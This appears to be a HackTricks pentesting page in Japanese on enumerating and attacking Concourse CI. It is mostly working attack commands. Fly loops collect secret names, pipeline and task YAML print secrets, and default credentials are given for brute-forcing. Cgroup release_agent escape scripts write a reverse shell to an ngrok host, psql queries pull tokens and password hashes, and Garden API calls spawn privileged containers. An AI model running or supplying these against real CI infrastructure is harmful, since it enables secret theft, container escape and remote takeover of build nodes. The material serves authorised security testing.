Concourse Enumeration & Attacks

Concourse Enumeration & Attacks

HackTricksをサポートする

User Roles & Permissions

Concourseには5つの役割があります:

  • Concourse Admin: この役割はメインチーム(デフォルトの初期Concourseチーム)の所有者にのみ与えられます。Adminは他のチームを設定できます(例:fly set-team, fly destroy-team...)。この役割の権限はRBACによって影響を受けません。

  • owner: チームの所有者はチーム内のすべてを変更できます。

  • member: チームメンバーはチームの資産を読み書きできますが、チーム設定を変更することはできません。

  • pipeline-operator: パイプラインオペレーターは、ビルドのトリガーやリソースのピン留めなどのパイプライン操作を行うことができますが、パイプライン設定を更新することはできません。

  • viewer: チームビューアはチームとそのパイプラインに対する「読み取り専用」アクセスを持っています。

さらに、owner、member、pipeline-operator、viewerの役割の権限はRBACを設定することで変更可能です(具体的なアクションを設定することで)。詳細は以下を参照してください: https://concourse-ci.org/user-roles.html

Concourseはパイプラインをチーム内にグループ化します。そのため、チームに所属するユーザーはこれらのパイプラインを管理でき、複数のチームが存在する可能性があります。ユーザーは複数のチームに所属し、それぞれのチーム内で異なる権限を持つことができます。

Vars & Credential Manager

YAML設定では、((_source-name_:_secret-path_._secret-field_))の構文を使用して値を設定できます。 ドキュメントから: source-nameはオプションで、省略された場合はクラスター全体のクレデンシャルマネージャーが使用されるか、静的に値が提供される可能性があります。 オプションの_secret-field_は、読み取るフェッチされたシークレットのフィールドを指定します。省略された場合、クレデンシャルマネージャーは存在する場合、フェッチされたクレデンシャルから「デフォルトフィールド」を読み取ることを選択することがあります。 さらに、_secret-pathsecret-field_は、.:のような**特殊文字を含む場合、二重引用符"..."で囲むことができます。例えば、((source:"my.secret"."field:1"))は_secret-path_をmy.secretに、_secret-field_をfield:1に設定します。

Static Vars

Static varsはタスクステップで指定できます:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

または、以下の fly 引数を使用します:

  • -v または --var NAME=VALUE は、文字列 VALUE を var NAME の値として設定します。

  • -y または --yaml-var NAME=VALUE は、VALUE を YAML として解析し、var NAME の値として設定します。

  • -i または --instance-var NAME=VALUE は、VALUE を YAML として解析し、インスタンス var NAME の値として設定します。Grouping Pipelines を参照して、インスタンス var について詳しく学びます。

  • -l または --load-vars-from FILE は、var 名と値のマッピングを含む YAML ドキュメントである FILE を読み込み、それらすべてを設定します。

Credential Management

パイプラインで Credential Manager を指定する にはさまざまな方法があります。https://concourse-ci.org/creds.html でその方法を読んでください。 さらに、Concourse はさまざまな credential manager をサポートしています:

Concourse への書き込みアクセスがある場合、Concourse がそれらにアクセスできる必要があるため、ジョブを作成してこれらの秘密情報を流出させることができることに注意してください。

Concourse Enumeration

Concourse 環境を列挙するには、まず有効な資格情報を収集するか、.flyrc 設定ファイルにある認証済みトークンを見つける必要があります。

Login and Current User enum

  • ログインするには、エンドポイントチーム名(デフォルトは main)、およびユーザーが所属するチームを知る必要があります:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • 設定されたターゲットを取得します:

  • fly targets

  • 設定されたターゲット接続がまだ有効かどうかを取得します:

  • fly -t <target> status

  • 指定されたターゲットに対するユーザーの役割を取得します:

  • fly -t <target> userinfo

API トークンはデフォルトで $HOME/.flyrc保存されることに注意してください。マシンを略奪する際に、そこに資格情報が見つかる可能性があります。

Teams & Users

  • チームのリストを取得します

  • fly -t <target> teams

  • チーム内の役割を取得します

  • fly -t <target> get-team -n <team-name>

  • ユーザーのリストを取得します

  • fly -t <target> active-users

Pipelines

  • パイプラインをリストします:

  • fly -t <target> pipelines -a

  • パイプライン yaml を取得します(定義に機密情報が含まれている可能性があります):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • すべてのパイプライン構成宣言変数を取得します

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • 使用されているすべてのパイプライン秘密名を取得します(ジョブを作成/変更したり、コンテナをハイジャックしたりできる場合、それらを流出させることができます):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Containers & Workers

  • workers をリストする:

  • fly -t <target> workers

  • containers をリストする:

  • fly -t <target> containers

  • builds をリストする (実行中のものを確認するため):

  • fly -t <target> builds

Concourse Attacks

Credentials Brute-Force

  • admin:admin

  • test:test

Secrets and params enumeration

前のセクションでは、パイプラインで使用されるすべてのシークレット名と変数を取得する方法を見ました。変数には機密情報が含まれている可能性があり、シークレットの名前は後で盗むために役立ちます

Session inside running or recently run container

十分な権限がある場合 (member role 以上)、パイプラインとロールをリストし、<pipeline>/<job> コンテナ内にセッションを取得することができます:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

これらの権限があれば、以下のことができるかもしれません:

  • コンテナ内の秘密情報を盗む

  • ノードへのエスケープを試みる

  • クラウドメタデータエンドポイントを列挙/悪用する(可能であれば、ポッドおよびノードから)

パイプラインの作成/変更

十分な特権(メンバーロール以上)があれば、新しいパイプラインを作成/変更することができます。次の例を確認してください:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

新しいパイプラインの修正/作成により、以下のことが可能になります:

  • シークレット盗む(それらをエコーアウトするか、コンテナ内に入りenvを実行することで)

  • ノードエスケープ(十分な特権を与えることで - privileged: true

  • クラウドメタデータエンドポイントを列挙/悪用(ポッドおよびノードから)

  • 作成したパイプラインを削除

カスタムタスクの実行

これは前の方法と似ていますが、全く新しいパイプラインを修正/作成する代わりに、カスタムタスクを実行するだけです(おそらくはるかにステルスです):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

特権タスクからノードへのエスケープ

前のセクションでは、concourseで特権タスクを実行する方法を見ました。これにより、dockerコンテナの特権フラグと同じアクセスがコンテナに与えられるわけではありません。例えば、/devにノードのファイルシステムデバイスが表示されないため、エスケープはより「複雑」になる可能性があります。

次のPoCでは、release_agentを使用していくつかの小さな修正を加えてエスケープします:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

ご存知かもしれませんが、これは単なるregular release_agent escapeで、ノード内のcmdのパスを変更しただけです。

Workerコンテナからノードへのエスケープ

通常のrelease_agent escapeに少し手を加えるだけで十分です:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Webコンテナからノードへのエスケープ

Webコンテナにいくつかの防御が無効化されていても、それは一般的な特権コンテナとして実行されているわけではありません(例えば、マウントできず、機能も非常に制限されているため、コンテナからエスケープする簡単な方法はすべて無意味です)。

しかし、ローカルの資格情報を平文で保存しています:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

その資格情報を使用して、webサーバーにログインし、特権コンテナを作成してノードにエスケープすることができます。

環境内では、concourseが使用するpostgresqlインスタンスにアクセスするための情報(アドレス、usernamepassword、データベースなど)も見つけることができます:

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Garden Serviceの悪用 - 実際の攻撃ではない

これはサービスに関する興味深いメモですが、localhostでのみリスニングしているため、既に悪用したことのない影響はありません。

デフォルトでは、各Concourseワーカーはポート7777でGardenサービスを実行します。このサービスは、Webマスターがワーカーに実行する必要があること(イメージのダウンロードと各タスクの実行)を指示するために使用されます。これは攻撃者にとって非常に魅力的ですが、いくつかの優れた保護があります:

  • これはローカルにのみ公開されています(127.0.0.1)。ワーカーが特別なSSHサービスを使用してWebに認証すると、トンネルが作成され、Webサーバーが各ワーカー内の各Gardenサービスと通信できるようになります。

  • Webサーバーは数秒ごとに実行中のコンテナを監視しており、予期しないコンテナは削除されます。したがって、カスタムコンテナを実行したい場合は、WebサーバーとGardenサービス間の通信を改ざんする必要があります。

Concourseワーカーは高いコンテナ権限で実行されます:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

しかし、ノードの/devデバイスやrelease_agentをマウントするような技術は機能しません(ノードのファイルシステムを持つ実際のデバイスにはアクセスできず、仮想デバイスのみが存在するため)。ノードのプロセスにアクセスできないため、カーネルエクスプロイトなしでノードから脱出するのは複雑になります。

前のセクションでは特権コンテナから脱出する方法を見ましたので、現在の ワーカーによって作成された特権コンテナでコマンドを実行できれば、ノードに脱出できる可能性があります。

concourseを操作していると、新しいコンテナが何かを実行するために生成されると、そのコンテナのプロセスがワーカーコンテナからアクセス可能であることに気付きました。つまり、コンテナがその中に新しいコンテナを作成するようなものです。

実行中の特権コンテナに入る

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

特権コンテナの新規作成

非常に簡単に新しいコンテナを作成し(ランダムなUIDを実行するだけ)、何かを実行することができます:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

しかし、webサーバーは数秒ごとに実行中のコンテナをチェックしており、予期しないコンテナが発見されると削除されます。通信がHTTPで行われているため、予期しないコンテナの削除を回避するために通信を改ざんすることができます:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

参考文献

  • https://concourse-ci.org/vars.html

HackTricksをサポートする

Last updated